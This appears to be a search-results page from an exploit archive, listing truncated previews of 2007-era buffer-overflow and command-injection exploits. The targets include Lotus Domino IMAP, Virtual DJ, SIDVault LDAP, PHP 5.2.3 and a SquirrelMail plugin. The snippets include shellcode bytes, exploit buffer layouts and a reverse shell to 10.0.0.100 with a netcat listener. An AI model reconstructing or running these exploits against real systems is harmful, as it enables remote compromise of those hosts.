1016 matches found
IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command
IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to...
fsfdt-overflow.txt
$ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000 Microsoft Corp. E:\draft\fsd1110\windows ------------------------------------------- !/usr/bin/perl FSFDT remote exploit by weakatfraglab.at spawns reverse shell to 10.0.0.100:4321 tested against 'FSFDT Windows FSD Bet...
Virtual DJ 5.0 (m3u File) Local Buffer OverFlow Exploit
Exploit for unknown platform in category local exploits ======================================================= Virtual DJ 5.0 m3u File Local Buffer OverFlow Exploit ======================================================= Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, yo...
Virtual DJ 5.0 - '.m3u' Local Buffer Overflow
Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, you can replace it with you favourite one,, ret addr - 0x7199403D jmp esp in mswsock.dll Winxp sp0 exploit : A x 484 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 Discovred by 0x58 && Coded By miyy3t,,Midt's lab !! Greetz :...
CVE-2007-4594
Entrust Entelligence Security Provider (ESP) 8 is affected by improper certificate validation in certain path-validation scenarios: (1) a chain that omits the root CA, (2) applications ignoring unknown revocation statuses, and (3) certain certification path errors. This could allow context-depend...
postcast-overflow.txt
'open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%...
SIDVault LDAP Server Preauth Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/python """ Alpha Centauri Software SIDVault LDAP Server remote root exploit 0days """ import sys import socket sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" sc +=...
PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow PoC
No description provided by source. ?php //PHP 5.2.3 phpntuser ntusergetuserlist Local Buffer Overflow //author: shinnai //mail: shinnaiatautisticidotorg //site: http://shinnai.altervista.org //greetz to BrainBugger Crew //http://www.brainbugger.altervista.org/ //Bug discovered with "Footzo" thank...
racer-overflow.txt
!/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buffer we are able to Control the eip register a...
CrystalPlayer 1.98 - .mls Local Buffer Overflow
CrystalPlayer 1.98 - .mls Local Buffer Overflow !/usr/bin/perl Crystal Player 1.98 Playlist.mls File Local Buffer Overflow Exploit Source:: http://www.crystalplayer.com/CrystalPro.exe Credit To Timq For The Vulnerability POC By Arham Muhammad While Debugging EIP And EBP Successfully Gets...
CrystalPlayer 1.98 - '.mls' Local Buffer Overflow
!/usr/bin/perl Crystal Player 1.98 Playlist.mls File Local Buffer Overflow Exploit Source:: http://www.crystalplayer.com/CrystalPro.exe Credit To Timq For The Vulnerability POC By Arham Muhammad While Debugging EIP And EBP Successfully Gets Overwritten! Upon Successful Exploitation, DOS Occurs An...
SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln
No description provided by source. SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from shellcommands! testbox:/home/w00t...
squirrel-exec.txt
SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from shellcommands! testbox:/home/w00t cat /tmp/w00t cat: /tmp/w00t: No...
SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln
Exploit for unknown platform in category web applications ================================================================ SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln ================================================================ SquirrelMail G/PGP Encryption Plug-in Remote...
SquirrelMail G/PGP Encryption Plugin 2.0 - Command Execution
SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from shellcommands! testbox:/home/w00t cat /tmp/w00t cat: /tmp/w00t: No...
SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability
SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from shellcommands! testbox:/home/w00t cat /tmp/w00t cat: /tmp/w00t: No...
ESRI ArcSDE 9.0 9.2sp1 - Remote Buffer Overflow
ESRI ArcSDE 9.0 9.2sp1 - Remote Buffer Overflow / Dreatica-FXP crew ---------------------------------------- Target : ESRI ArcSDE 9.0 - 9.2sp1 Site : http://www.esri.com Found by : iDefense, http://labs.idefense.com/intelligence/vulnerabilities/ ---------------------------------------- Exploit :...
ESRI ArcSDE 9.0 < 9.2sp1 - Remote Buffer Overflow
/ Dreatica-FXP crew ---------------------------------------- Target : ESRI ArcSDE 9.0 - 9.2sp1 Site : http://www.esri.com Found by : iDefense, http://labs.idefense.com/intelligence/vulnerabilities/ ---------------------------------------- Exploit : ESRI ArcSDE 9.0 - 9.2sp1 Remote Buffer Overflow...
php523-overflow.txt
?php //PHP 5.2.3 tidyparsestring & tidyrepairstring local //buffer overflow poc win //rgod //site: retrogod.altervista.org //quickly tested on xp sp2, worked both from the cli and on apache //let's have a look here: http://www.google.com/codesearch?hl=it&q=+tidyparsestring&sa=N if...